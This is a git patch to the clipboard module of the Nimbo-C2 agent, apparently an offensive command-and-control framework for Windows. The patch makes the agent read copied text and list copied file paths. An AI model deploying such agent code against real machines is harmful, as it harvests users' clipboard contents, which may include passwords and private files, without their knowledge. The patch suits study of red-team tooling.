From ace0911486970e4d57c15bf009b057ec18bcd212 Mon Sep 17 00:00:00 2001 From: Itay Migdal <32266629+itaymigdal@users.noreply.github.com> Date: Sun, 20 Oct 2024 13:40:45 +0300 Subject: [PATCH] improved clipboard --- Nimbo-C2/agent/windows/utils/clipboard.nim | 40 +++++++++++++++------- 1 file changed, 28 insertions(+), 12 deletions(-) diff --git a/Nimbo-C2/agent/windows/utils/clipboard.nim b/Nimbo-C2/agent/windows/utils/clipboard.nim index 43952b9..096d2bd 100644 --- a/Nimbo-C2/agent/windows/utils/clipboard.nim +++ b/Nimbo-C2/agent/windows/utils/clipboard.nim @@ -2,15 +2,31 @@ import std/[strutils] import winim proc get_clipboard*(): string = - # finally close - defer: discard CloseClipboard() - # try to read clipboard - if OpenClipboard(0): - let data = GetClipboardData(1) - if data != 0: - let text = cast[cstring](GlobalLock(data)) - discard GlobalUnlock(data) - if text != NULL: - # replace bad chars - var sanitized_text = ($text).replace("\c", "") - return sanitized_text + defer: discard CloseClipboard() + + if OpenClipboard(0): + # Check for CF_TEXT + let textData = GetClipboardData(CF_TEXT) + if textData != 0: + let text = cast[cstring](GlobalLock(textData)) + defer: discard GlobalUnlock(textData) + if text != nil: + return ($text).replace("\c", "") + + # Check for CF_HDROP + let hdropData = GetClipboardData(CF_HDROP) + if hdropData != 0: + let dropFiles = cast[HDROP](GlobalLock(hdropData)) + defer: discard GlobalUnlock(hdropData) + if dropFiles != 0: + result = "Copied files:\n" + let fileCount = DragQueryFile(dropFiles, cast[UINT](0xFFFFFFFF), nil, 0) + var buffer: array[MAX_PATH, WCHAR] + for i in 0 ..< fileCount: + let pathLength = DragQueryFileW(dropFiles, i, cast[LPWSTR](addr buffer[0]), MAX_PATH.UINT32) + if pathLength > 0: + result.add($cast[WideCString](addr buffer[0])) + result.add("\n") + return result.strip() + + return ""